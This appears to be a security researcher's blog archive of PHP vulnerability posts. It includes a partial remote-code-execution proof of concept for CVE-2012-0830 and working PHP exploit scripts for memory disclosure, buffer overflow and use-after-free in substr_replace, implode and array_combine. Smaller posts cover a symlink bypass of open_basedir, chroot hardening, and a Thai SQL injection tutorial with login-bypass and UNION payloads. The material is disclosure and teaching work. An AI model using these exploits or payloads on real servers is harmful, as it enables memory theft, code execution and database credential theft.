Showing posts with label PHP. Show all posts
Showing posts with label PHP. Show all posts

Sunday, February 5, 2012

Mini-PoC for PHP 5.3.9 RCE (CVE-2012-0830)

As topic said mini, it is mainly my idea (+some code) to exploit this bug. I still cannot do real code execution now. Looking at diff patch, it is obvious there is a bug when input is array and the number of input equals max_input_vars. Here is full vulnerable function. I will show only related code.

/* ... */
if (is_array) {
    while (1) {
        /* ... */
        if (zend_symtable_find(symtable1, escaped_index, index_len + 1, (void **) &gpc_element_p) == FAILURE // [1]
            || Z_TYPE_PP(gpc_element_p) != IS_ARRAY) { // [2]
            if (zend_hash_num_elements(symtable1) <= PG(max_input_vars)) { // [3]
                if (zend_hash_num_elements(symtable1) == PG(max_input_vars)) {
                    php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variables exceeded %ld. ...", PG(max_input_vars));
                }
                MAKE_STD_ZVAL(gpc_element);
                array_init(gpc_element);
            }
            zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p);
        }
        /* ... */
        symtable1 = Z_ARRVAL_PP(gpc_element_p); // [4]
        /* ... */
        goto plain;
    }
} else {
plain_var:
    MAKE_STD_ZVAL(gpc_element);
    gpc_element->value = val->value;
    Z_TYPE_P(gpc_element) = Z_TYPE_P(val);
    /* ... */
    if (zend_hash_num_elements(symtable1) <= PG(max_input_vars)) { // [5]
        if (zend_hash_num_elements(symtable1) == PG(max_input_vars)) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variables exceeded %ld. ...", PG(max_input_vars));
        }
        zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p); // [6]
    } else {
        zval_ptr_dtor(&gpc_element);
    }
    /* ... */
}

At [3], if a number of elements in array equals max_input_vars, program still continues looping. When program reachs [4], the 'gpc_element_p' is treated as array (no type check). But it might not be array if the program did not go inside [3]. That is a problem.

When looking closely at [1] and [2], the code at [1] might find the element but it is not array. The element must be string because all input are treated as string or array. Also the element is our input that parsed before the max_input_vars condition met. Then At [4], our string is treated as array. So we can create fake HashTable. If our input name does not have more array nest, the PHP will go to [5]. Then inserting/updating input into fake array at [6].

To control EIP/RIP, there is 'pDestructor' in HashTable struct. If we can make PHP removing a element inside this HashTable, the program will jump to 'pDestructor' address. Easy??. All we need is 'arBuckets' must point to valid address that has NULL value (check _zend_hash_index_update_or_next_insert() in zend_hash.c).

Because PHP filter extension is enabled by default (compile option), the php_register_variable_ex() is called twice for each input but different array. So first time for filter array, the input is inserted into fake array. Then the array is updated and 'pDestructor' will be called. Below is input for controlling EIP/RIP.

1=&2=&3=&...&999=&0=<fake HashTable with valid arBuckets address>&0[0]=

Because of ASLR+NX(+PIE), just controlling EIP is useless. I need some info leak. Here is my result for 32 bit only (php_rce_poc.py) (I debugged the PHP with PHP-FPM).

First, there is some PHP page on server that has code like this.

<?php
echo $_POST['a']."\n";
for ($i = 0; $i < 8192; $i++)
    echo " "; // to make PHP flush the buffer output

When input is inserted into array, a HashTable will be updated. We can use this fact to leak a heap address. But the trigger input will be inserted for filter array first, so the input will be updated for $_POST array. This is bad because updating is modified only 'pDataPtr' in 'Bucket' struct.

What I did is creating fake HashTable, arBuckets, Bucket in an input instead of HashTable only. If I guess the address correctly, the 'pDataPtr' in fake Bucket will be updated. To increase the chance, I create multiple fake arBuckets and Buckets (see create_big_fake_array_search() in my code). When allocating big memory block, it is always allocated outside main heap (And address always ending with 0x018 on my box). After this brute forcing, I got the start address of fake data and a heap address of latest element.

Just a heap address is not enough for code execution. I need more. When looking updating data in array code (below), I found something interesting. If 'pData' does not point 'pDataPtr', 'pData' will be freed first.

#define UPDATE_DATA(ht, p, pData, nDataSize)           \
    if (nDataSize == sizeof(void*)) {                  \
        if ((p)->pData != &(p)->pDataPtr) {            \
            pefree_rel((p)->pData, (ht)->persistent);  \
        }                                              \
        memcpy(&(p)->pDataPtr, pData, sizeof(void *)); \
        (p)->pData = &(p)->pDataPtr;                   \
    }

If I set 'pData' in fake Bucket to the address of $_POST['a'] (zval struct). It will be freed. Then, I trick PHP to allocate craft string on that memory area. Finally, I can alter zval struct of $_POST['a'] to point to any address and the PHP code will echo the data in that memory area to me. But after altering the zval struct, the PHP will crash when clearing all variables. That's why I add the PHP code for flushing the output.

I can trick PHP to allocate on just freed memory area because in php_sapi_filter(), the estrndup() is called (at line 479) almost immediately after called php_register_variable_ex() (at line 461). With the Zend Memory Management Cache that I described a little in this post, all I need to do is using the trigger input value to be fake zval struct.

I still cannot find the way to know the exact address of $_POST['a']. I do brute forcing again. I know the heap address. It must be near. I test the result from dumping my fake HashTable. My method for brute forcing $_POST['a'] address is not reliable. Especially when PHP-FPM has many children.

Here is my output (code again php_rce_poc.py)

$ python php_rce_poc.py
Trying addr: b6c00018
Trying addr: b6c40018
Trying addr: b6c80018
Trying addr: b6cc0018
Trying addr: b6d00018
Trying addr: b6d40018
Trying addr: b6d80018
Trying addr: b6dc0018

Fake addr: b6dc0018
Heap addr: 08fe3180

Bruteforcing param_addr...
param addr: 08fe30a0
dumping memory at 0x08048000
⌂ELF☺☺☺         ☻ ♥ ☺   04

After able to dump any memory address + controlling EIP/RIP, it is highly possible to do code execution. That's it for me.

Update (5 Feb 2012): a little change on my code (php_rce_poc2.py).

  • Increase the search fake chunk range to make it work on apache2/mod_php5
  • Dump data at least 8192 bytes. So no need the PHP code for flushing output buffer.

Saturday, January 21, 2012

PHP Array Interruption Bug due to call-time-pass-by-reference

I also reported this bug via e-mail a few months ago. Bug no fixed :[.

Affected versions: 5.3.x
This bug does not affect version 5.4 (and never) because call-time-pass-by-reference feature is removed.

Some PHP functions contain this bug. It can lead information leakeage and memory corruption (found only one). But most of them (what I can do now) can do only program crash.

Normally in PHP functions, the array is iterated with zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), zend_hash_move_forward() or zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), zend_hash_move_forward_ex() functions. If an array is passed by reference and a PHP function does something that can be interrupted such as calling convert_to_xxx_ex() function, the array elements might be altered and the pointers in PHP function might point to invalid data.

The pseudocode structure that has this problem is shown below.

zend_hash_internal_pointer_reset(input)
loop:
    zend_hash_get_current_data(input, entry)
    //...
    convert_to_xxx_ex(**entry)  // <== interruption is here
    //...
    zend_hash_move_forward(input)

Because zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), and zend_hash_move_forward() use internal pointer (pInternalPointer) for interation, the interruption can make only entry pointer point to invalid data. I can only make the program crash with this array iteration code.

zend_hash_internal_pointer_reset_ex(input, pos)
loop:
    zend_hash_get_current_data_ex(input, entry, pos)
    //...
    convert_to_xxx_ex(**entry)  // <== interruption is here
    //...
    zend_hash_move_forward_ex(input, pos)

While zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), and zend_hash_move_forward_ex() use external pointer ('pos' in above pseudocode) for interation, the interruption can make pos and entry pointers point to invalid data (manipulated data). Some of PHP function I can leak data from memory address or do memory corruption.

Below is PoC for dump memory at any address with implode() (32 bit only).

<?php
class dummy {
    public function __toString() {
        unset($GLOBALS['arr1'][0]);
        unset($GLOBALS['arr1'][1]);
        // dump memory at 0x08048000
        $GLOBALS['test1'] .= "\x00\x80\x04\x08\x10\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
        return '';
    }
}
$test1='';
$arr1 = array(new dummy, 1);
$data = implode(",", &$arr1);
var_dump($data);

Below is PoC for memory corruption with array_combine() (32 bit only).

<?php
class dummy {
    public function __toString() {
        unset($GLOBALS['arr2'][0]);
        $GLOBALS['test1'] .= "\x00\x00\x00\xff\xff\xff\x7f\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
        return '0';
    }
}
$test1="\x00";
$arr1 = array(new dummy);
$arr2 = array('dddddd');
$out = array_combine($arr1, &$arr2);
var_dump($out); // strlen of $out is 0x7fffffff

Here is the list of PHP functions that I found the problem.

====================================
=== zend_hash_get_current_data() ===
====================================
*** crash ***
- curl_setopt with CURLOPT_POSTFIELDS option
- setlocale
- preg_grep
=======================================
=== zend_hash_get_current_data_ex() ===
=======================================
*** crash ***
- imagesetstyle
- pcntl_sigwaitinfo
- curl_setopt_array

*** dump arbritary memory address ***
- file_put_contents
- fputcsv
- implode

*** memory corruption ***
- array_combine

Interruption in PHP substr_replace()

I reported this bug a few months ago (#55871). You can see simple PoC in test script in bug page. It has been fixed only in 5.4 branch. The main use of this bug is for post exploitation as discussed in Stefan Esser’s slide and paper. For anyone who does not know about internal PHP structures, please read them from the Stefan Esser's paper or slide first because I will not cover them here.

Affect Version: 5.3.x

First, I will explain as I did in test script. The code for substr_replace() is long. Here is the link to the vulnerable code string.c. Below I show only related part.

PHP_FUNCTION(substr_replace)
{
    // ...
    // if a parameter is an array, no conversion at the beginning of function
    // ...
    if (Z_TYPE_PP(str) != IS_ARRAY) {
        // ...
    } else { /* str is array of strings */
        // ...
        while (zend_hash_get_current_data_ex(Z_ARRVAL_PP(str), (void **) &tmp_str, &pos_str) == SUCCESS) {
            zval *orig_str;
            zval dummy;
            if(Z_TYPE_PP(tmp_str) != IS_STRING) {
                dummy = **tmp_str;
                orig_str = &dummy;
                zval_copy_ctor(orig_str);
                convert_to_string(orig_str);
            } else {
                orig_str = *tmp_str; // [1]
            }

            // get and check 'from' value to 'f' (convert_to_long if needed)
            // get and check 'len' value to 'l' (convert_to_long if needed)
            // ...
            if ((f + l) > Z_STRLEN_P(orig_str)) {
                l = Z_STRLEN_P(orig_str) - f;  // [2]
            }

            result_len = Z_STRLEN_P(orig_str) - l;

            if (Z_TYPE_PP(repl) == IS_ARRAY) {
                if (SUCCESS == zend_hash_get_current_data_ex(Z_ARRVAL_PP(repl), (void **) &tmp_repl, &pos_repl)) {
                    zval *repl_str;
                    zval zrepl;
                    if(Z_TYPE_PP(tmp_repl) != IS_STRING) {
                        zrepl = **tmp_repl;
                        repl_str = &zrepl;
                        zval_copy_ctor(repl_str);
                        convert_to_string(repl_str);  // [3] interruption
                    } else {
                        repl_str = *tmp_repl;
                    }

                    result_len += Z_STRLEN_P(repl_str);
                    zend_hash_move_forward_ex(Z_ARRVAL_PP(repl), &pos_repl);    
                    result = emalloc(result_len + 1);

                    memcpy(result, Z_STRVAL_P(orig_str), f);
                    memcpy((result + f), Z_STRVAL_P(repl_str), Z_STRLEN_P(repl_str));
                    memcpy((result + f + Z_STRLEN_P(repl_str)), Z_STRVAL_P(orig_str) + f + l, Z_STRLEN_P(orig_str) - f - l); // [4]
                    if(Z_TYPE_PP(tmp_repl) != IS_STRING) {
                        zval_dtor(repl_str);
                    }
                } else {
                    // ...
                }
            } else {
                // ...
            }

            result[result_len] = '\0';
            add_next_index_stringl(return_value, result, result_len, 0);
            if(Z_TYPE_PP(tmp_str) != IS_STRING) {
                zval_dtor(orig_str);  // [5]
            }
            zend_hash_move_forward_ex(Z_ARRVAL_PP(str), &pos_str);
        } /* while */
    } /* if */
}

At [1], if 'tmp_str' is string, the 'tmp_str' and 'orig_str' points to the same zval. After this point, the program assumes the 'orig_str' type is string.

At [3], if 'repl_str' is object, the convert_to_string() will call __toString() magic method. So if we pass the 'str' by reference with call-time-pass-by-reference feature or reference in array (see below), we can access/modify 'orig_str' value inside __toString().

At [5], because of interruption at [3], we can trick the program to free memory that variable has reference to it (use-after-free). Now look at first PoC.

<?php
class dummy {
    public function __toString() {
        //$GLOBALS['my_var'] += 0x08048000; // dump memory at 0x08048000
        //$GLOBALS['my_var'] .= 'AAAAAAAA'; // buffer overflow
        preg_match('//', '', $GLOBALS['my_var']); // dump HashTable data (and use-after-free in >=5.3.7)
        return '';
    }
}
$my_var = str_repeat('A', 40);
$out = substr_replace(array(&$my_var), array(new dummy), 40, 0);

To dump memory at any address, just convert $my_var to integer (see why in zval struct). If we append string to $my_var, memcpy() at [4] will cause buffer overflow because length of 'orig_str' is modified after 'result_len' is computed.

The most interesting case is when $my_var is converted to array. We will get that HashTable struct. Also (for version >=5.3.7), the array (HashTable, Bucket, array of pointer to Bucket) is freed. So after calling substr_replace(), we just need to allocate manipulated string on deleted HashTable, Buckets and array of pointer to Bucket. Then, create the fake zval with length 0x7fffffff. Finally, we can read/write to any memory address.

To make exploit reliable for use-after-free (with my method), we need to understand Zend Memory Management Cache a little. The code is in Zend/zend_alloc.c. The important functions are _zend_mm_alloc_int() and _zend_mm_free_int(), only code related small size block. Here is the brief.

  1. When the efree() is called, the memory is not freed. But it is moved to free list cache.
  2. There are array of singly linked list to keep freed memory block. Each linked list keeps the same memory block size.
  3. When memory block is freed, it is moved to the head of linked list.
  4. When memory block is allocated, it is gotten from the head of linked list if linked list is not empty.

The plan is trying allocate string size same as HashTable, Bucket, arBuckets until they are allocated on freed array. Then use address from substr_replace() output to recover everything. Here is the code for 32 bit without suhosin patch.

<?php
class dummyht {
    public function __toString() {
        preg_match('//', '', $GLOBALS['my_var']);
        return "";
    }
}

// hashtable and bucket size is 40
$h = "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH0HHHH";
// arBuckets size is 32
$b = "ararararararararararararararar";
$fake_ht = "\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00".str_repeat("\x00", 23);
$fake_bk = str_repeat("\x00", 38);
$fake_arb = "ararararararararararararar";
$junk = array(0=>'0',1=>'1',2=>'2',3=>'3',4=>'4',5=>'5',6=>'6',7=>'7');
$str_arr = array('ht'=>"\x08", 'arBks'=>"\x00", 'bk0'=>"\x00");
$my_var = str_repeat("A", 80);
$data = 0;
$data = substr_replace(array(&$my_var), array(new dummyht), 80, 0);
$junk[0] .= $h;
$junk[1] .= $h;
$junk[2] .= $h;
$junk[3] .= $h;
$junk[4] .= $h;
$str_arr['ht'] .= $fake_ht;
$str_arr['bk0'] .= $fake_bk;
$junk[5] .= $b;
$junk[6] .= $b;
$junk[7] .= $b;
$str_arr['arBks'] .= $fake_arb;
$ht = parse_hashtable($data[0]);
// repair hashtable
for ($i = 16; $i < 32; $i++) $str_arr['ht'][$i] = $data[0][$i];
for ($i = 36; $i < 39; $i++) $str_arr['ht'][$i] = $data[0][$i];
// repair arBuckets
for ($i = 0; $i < 4; $i++) $str_arr['arBks'][$i] = $data[0][$i+4*4];
for ($i = 4; $i < 4*7; $i++) $str_arr['arBks'][$i] = "\x00";

// create $fake_zval string in tail of arBuckets
$fake_zval  = pack("I", $ht['arBuckets'] & 0x80000000);
$fake_zval .= pack("I", 0x7fffffff);
$fake_zval .= pack("I", 1);
$fake_zval .= "\x06\x00";

for ($i = 0; $i < strlen($fake_zval); $i++)
    $str_arr['arBks'][$i+4*4] = $fake_zval[$i];

// repair first bucket
$sptr = pack("I", $ht['pListHead'] + 4*3);
for ($i = 0; $i < 4; $i++) $str_arr['bk0'][$i + 4*2] = $sptr[$i];
$sptr = pack("I", $ht['arBuckets'] + 4*4);
for ($i = 0; $i < 4; $i++) $str_arr['bk0'][$i + 4*3] = $sptr[$i];

$mem = &$my_var[0];

With Suhosin patch, the above method to dump memory and dump HashTable does not work. Because the patch always set str.len value to 0 when clearing the string variable. At [4], the copy length will be negative but it will cast to unsigned for memcpy(). The workaround for this problem is use [2]. I pass parameter len as object to cause the interruption before [2]. After convert_to_long(), the 'len' and Z_STRLEN_P(orig_str) are 0. At [2], 'l' will be 0. Fix the problem :]. Here is the PoC.

<?php
class dummy {}
function errhandler() {
    $GLOBALS['my_var'] = ''; // to make it work when no suhosin patch
    preg_match('//', '', $GLOBALS['my_var']);
    return true;
}
$my_var = str_repeat('A', 40);
$oldhandler = set_error_handler("errhandler");
$out = substr_replace(array(&$my_var), '', 40, array(new dummy));

Sunday, October 16, 2011

Chroot PHP-FPM and Apache

As mentioned in "A Note on Security in PHP", the PHP security features (safe_mode, open_basedir, disable_functions) can be bypassed. The Stefan Esser’s paper also describe how to bypass the PHP security features. The better alternative for PHP security is chroot PHP-FPM.

With google, you can easily find how to configure PHP-FPM for nginx. But I want the setup for Apache httpd. I found only this two "Install Drupal in php-fpm (fastcgi) with Apache and a chroot php-fpm" and "The Perfect LAMP Stack – Apache2, FastCGI, PHP-FPM, APC". They explain very well for configuring fastcgi and PHP-FPM. But only first link describe about chroot PHP. The method to chroot is somewhat ugly. Why do I have to create a symlink?

After reading Apache and PHP doc, I found the options. We just need to set "doc_root" to a new web path after chrooted and "cgi.fix_pathinfo" to 0 in "php.ini". We can also set these options per PHP-FPM pool with "php_admin_value" directive.


Updated on 11 Aug 2012

Note: I just notice the _SERVER variables related to path are wrong if "cgi.fix_pathinfo" is 0. If PHP application relies on these variables (such as _SERVER["SCRIPT_FILENAME"], $_SERVER["PATH_TRANSLATED"]), it would fail.

Another method is patching PHP-FPM. Here is my quick and dirty patch for PHP 5.3.15 http://pastebin.com/4EFqEgwE. I added "cgi.fix_chrootpath" configuration. Just set it to the same value as "chroot" value in pool configuration. Do not set "doc_root" and "cgi.fix_pathinfo". The "cgi.fix_chrootpath" should be boolean. But I cannot find a method to access "chroot" pool configuration. Last, I did not test the patch much. It works on my Linux box.


Also do not forget to remove "FollowSymLinks" or add "SymLinksIfOwnerMatch" option in Apache httpd configuration. If you omit it, the attacker can use symlink() trick to read files that web user can read.

After doing chroot PHP, you might think the open_basedir and disable_fuctions are useless. In my opinion, open_basedir is still useful. They can prevent from PHP functions to read files from "upload_tmp_dir" and "session.save_path". So attacker cannot use "temporary upload file" and "session file" for LFI.

Last thing that only few people mention, noexec mount option can be used for web data if web application use only PHP.

Sunday, April 17, 2011

PHP symlink() and open_basedir

I was asked by someone about the exploit from http://securityreason.com/achievement_exploitalert/14. Why they could not delete the created symbolic links?

The exploit explanation is in http://securityreason.com/achievement_securityalert/70 (if you have a problem to access it, here is the backup http://seclists.org/fulldisclosure/2009/Nov/165).

This exploit just creates a symbolic link to a file outside the open_basedir with a neat trick, then using web server to access it (not invoking PHP interpreter). In my opinion, this is not PHP vulnerability. This is a feature (you still can do it with latest PHP). If we try to access the symbolic link with PHP functions (such as readfile(), file_get_contents()), we will get the error message related to open_basedir. Also we cannot delete/modify the symbolic links with unlink() PHP functions because of open_basedir restriction (answer the above question).

I think the easier way to abuse this feature is creating the symbolic link to root directory. No exploit from me. It's so easy to write :).

The workaround for this problem is adding symlink() using "disable_functions" feature to disable function or disabling following symbolic link in web server (FollowSymLinks in apache).

Update: I overlooked the method to delete the symbolic link. We just need to do the reverse by removing directory and recreating the tmplink. Here is the PHP code to delete the symbolic link that is created with kakao.php from the advisory.

<?php
rmdir("tmplink");
symlink("abc/abc/abc/abc","tmplink");
unlink("exploit");
unlink("tmplink");

Update:If you install Suhosin patch, you are safe from this problem by default. See http://www.hardened-php.net/suhosin/configuration.html#suhosin.executor.allow_symlink for more information.

Sunday, August 1, 2010

PHP magic_quotes_gpc and SQL injection

เรื่อง magic_quotes_gpc ของ PHP อาจจะดูเก่าไปหน่อย เพราะ feature นี้ใน PHP 5.3 ก็ deprecated แล้ว และก็จะไม่มีใน PHP 6 แต่ผมก็ยังเชื่อว่าหลายๆ คนยังไม่เข้าใจว่า magic_quotes_gpc มันช่วยและไม่ช่วยป้องกัน SQL injection ยังไง

ตาม document ของ PHP ถ้า magic_quotes_gpc ได้ถูกเปิดใช้งาน ตัวอักษร ' (single-quote), " (double-quote), \ (backslash) และ NULL ในข้อมูล GET, POST, COOKIE จะถูก escape ด้วย backslash อัตโนมัติ

กรณีที่ 1 SQL injection กับ MySQL
ผมขอเริ่มด้วยกรณีที่ magic_quotes_gpc ช่วยป้องกัน เรื่อง SQL injection ตัวอย่างนี้  PHP programmer ทุกๆ คนน่าจะเคยเห็นแล้ว
นั่นคือ code สำหรับการทำ authentication โดยข้อมูลอยู่ใน MySQL database (สมมติว่าเก็บ password เป็น plaintext)
// ... initialization and establishing database connection ...
$result = mysql_query("SELECT * FROM account WHERE username='".$_GET['username']."' AND password='".$_GET['password']."'");
if (mysql_num_rows($result) > 0) {
  // authenticated
}
else {
  // login failed
}
ทดสอบด้วย classic SQL injection คือ username เป็น
admin 
และ password เป็น
' or 1=1# 
ถ้าปิด magic_quotes_gpc จะได้ SQL command เป็น
SELECT * FROM account WHERE username='admin' AND password='' or 1=1#'
หลังเครื่องหมาย # ใน MySQL คือ comment จะไม่รวมใน SQL command และโดยทั่วไป (รวมถึง MySQL) operator precedence ของ AND จะสูงกว่า OR นั่นคือ AND จะถูกคิดก่อน OR ถ้าใส่วงเล็บให้ดูง่ายก็จะเป็น
SELECT * FROM account WHERE (username='admin' AND password='') or 1=1
เนื่องจาก 1=1 เป็นจริงเสมอ ก็ทำให้ SQL command ของข้างบนเท่ากับ
SELECT * FROM account
ซึ่งก็จะ login ผ่าน :)

ในทางกลับกัน ถ้าเปิด magic_quotes_gpc จะได้ SQL command เป็น
SELECT * FROM account WHERE username='admin' AND password='\' or 1=1'
ก็จะ login ไม่ผ่าน :(

จะเห็นว่า ถ้าจะทำ SQL injection ในกรณีนี้ต้องมีการใช้ single-quote เข้าไปใน username หรือ password แต่ magic_quotes_gpc จะ escape single-quote ทำให้ไม่สามารถทำ SQL injection หรือพูดได้ว่า
magic_quotes_gpc ป้องกัน SQL injection ได้ ถ้า SQL injection ต้องใช้ตัวอักษร ' (single-quote), " (double-quote), \ (backslash) หรือ NULL

กรณีที่ 2 SQL injection กับ database อื่นๆ
ผมขอใช้ code เดิมจากกรณีที่ 1 แต่เปลี่ยน database เป็นตัวอื่นที่ escape single-quote ตาม SQL standard (เช่น Oracle, MSSQL) คือใช้ single-quote สองตัว เช่น 'O''hh' แต่ครั้งนี้ password ต้องเปลี่ยนเป็น
' or 1=1-- 
(-- คือ comment ตาม SQL standard)
คราวนี้ขอแสดงเฉพาะกรณีเปิด magic_quotes_gpc ก็จะได้ SQL command เป็น
SELECT * FROM account WHERE username='admin' AND password='\' or 1=1--'
สำหรับ database ที่ escape single-quote ตาม SQL standard จะมองว่า password คือ \ (backslash) ซึ่งก็จะ login ผ่านอยู่ดี :)

หลายคนอาจจะบอกว่า PHP กับ MSSQL ไม่น่าจะมีคนใช้ ส่วน Oracle ก็คงมีใช้น้อยมาก อันนี้ผมเห็นด้วย แล้ว PostgreSQL ละ
PostgreSQL ตอนแรกก็ใช้ backslash เพื่อที่จะ escape single-quote แต่ใน version 8 ก็จะมี option standard_conforming_strings ให้เลือกใช้แบบเดิม (สำหรับ backward compatibility) หรือแบบ SQL standard โดยที่ทาง PostgreSQL เองก็แนะนำให้ใช้ตาม standard

Note: PHP มี option magic_quotes_sybase เพื่อที่จะ escape single-quote สำหรับ database ที่ทำตาม standard

กรณีที่ 3 SQL injection กับข้อมูลที่เป็นตัวเลข
ตัวอย่างที่พบบ่อยๆ ของกรณีนี้ คือการแสดงข้อมูลตาม id ที่อยู่ใน database โดยที่ PHP code ที่ทำ SQL query เป็นดังนี้
mysql_query("SELECT col1, col2, col3 FROM data WHERE id=".$_GET['id']);
ทดสอบด้วยการใส่ค่า id เป็น
0 UNION SELECT username,password,1 FROM account 
จะได้ SQL command เป็น
SELECT col1, col2, col3 FROM data WHERE id=0 UNION SELECT username,password,1 FROM account
สมมติว่าใน database ไม่มี id ที่เป็น 0 SQL command ก็จะเป็น
SELECT username,password,1 FROM account
ทำให้แทนที่จะดึงข้อมูลจาก data table ก็กลายเป็นดึงข้อมูลมาจาก account table มาแสดงผล

จะเห็นว่า id เป็นตัวเลข และโดยส่วนมาก programmer ไม่ได้ใส่ single-quote สำหรับตัวเลข ดังนั้น SQL injection ไม่ต้องมี single-quote ก่อนที่จะเพิ่ม SQL command และ magic_quotes_gpc ก็ไม่สามารถช่วยป้องกันในกรณีได้ เพราะไม่มีตัวอักษรที่ต้อง escape

ตัวอย่างอื่นๆ ของ SQL injection กับข้อมูลที่เป็นตัวเลข คือเวลาแสดงข้อมูลเป็นหลายๆ หน้า ตัวเว็บจะมีการรับหน้า และจำนวนข้อมูลต่อหน้า

กรณีที่ 4 SQL injection กับ SQL operator
กรณีนี้ส่วนมากจะพบในหน้า Advanced Search ของเว็บที่ให้ผู้ใช้สามารถใส่หลายๆ เงื่อนไขในการค้นหา และสามารถเลือกได้ว่าจะนำมา AND หรือ OR โดยที่ทางเว็บส่ง AND หรือ OR ตรงๆ เช่น
HTML code snippet:
col1: <input name="col1" type="text" /><br/>
<input checked="checked" name="oper" type="radio" value="AND" /> และ
<input name="oper" type="radio" value="OR" /> หรือ<br/>
col2: <input name="col2" type="text" />
PHP code snippet:
$result = mysql_query("SELECT col1, col2, col3 FROM data WHERE col1='%".$_POST['col1']."%' ".$_POST['oper']." col2='%".$_POST['col2']."%'");
จากตัวอย่างผู้ใช้สามารถเงื่อนไขของ col1 กับ col2 และมี radio box เพื่อเลือก AND หรือ OR โดยตัวอย่าง SQL injection ก็คือแก้ไขค่า oper เป็น
UNION SELECT username,password,1 FROM account#
ทำให้ SQL command เป็น
SELECT col1, col2, col3 FROM data WHERE col1='%cond1%' UNION SELECT username,password,1 FROM account# col2='%cond2%'
ซึ่งก็คือค้นหาข้อมูลใน data table ตาม cond1 และข้อมูลใน account table ทั้งหมด

Note: ถ้า SQL command ใน PHP code ซับซ้อนกว่านี้ การทำ SQL injection ก็ยังเป็นไปได้ แค่อาจต้องเพิ่มบางส่วน เช่น วงเล็บ เพื่อให้ SQL syntax พร้อมกับทำ injection

จะเห็นว่ากรณีนี้ ก็เป็นอีกกรณีหนึ่งที่ magic_quotes_gpc ไม่สามารถป้องกัน SQL injection ได้

จากตัวอย่างทั้งหมดที่กล่าวมา คงทำให้เห็นกันแล้วว่า magic_quotes_gpc ช่วยและไม่ช่วยป้องกัน SQL injection ยังไง (จริงๆ คือนึกไม่ออกแล้ว)
ถ้ามีการเปิด magic_quotes_gpc ก็ยังสามารถทำ SQL injection ถ้าไม่จำเป็นต้องใช้ตัวอักษรที่ถูก escape
และก็จะจบก็คงต้องเขียนวิธีป้องกัน ที่มีอยู่หลักเดียวง่ายๆ คือตรวจสอบ หรือ filter input ที่มาจากผู้ใช้ทั้งหมด ก่อนนำมาประมวลผล

วิธีการป้องกันตามตัวอย่างที่ได้ยกมา (สมมติว่าไม่มีการใช้ magic_quotes_gpc)
1. สำหรับข้อมูลที่เป็นตัวอักษร ใช้
mysql_real_escape_string()
ก่อนที่ใช้นำไปใส่ใน SQL command
2. สำหรับข้อมูลตัวเลข ให้ทำการ cast เป็นตัวเลขก่อนด้วยการใช้
(int)
หรือ
(integer)
หรือใช้
intval()
function
3. สำหรับข้อมูลที่เป็นส่วนหนึ่งของ SQL syntax ก็ให้ตรวจสอบว่าเป็นที่เราอนุญาตหรือไม่ เช่นตัวอย่างในกรณีที่ 4 ก็ตรวจสอบว่าค่า oper เป็น AND หรือ OR เท่านั้น

สุดท้ายการที่ทาง PHP จะเอา magic_quotes_* ออกนั้น น่าจะเป็นเพราะว่า (อันนี้ความคิดผม) มันทำให้ programmer เข้าใจผิด และอาจทำให้สับสน รวมทั้งข้อมูลที่รับมาอาจจะไม่ได้เอามาใช้กับ database เช่น save ลงไฟล์ ทำให้ programmer ต้องมาแก้ไขข้อมูลให้ถูกต้องอีกด้วย
stripslashes()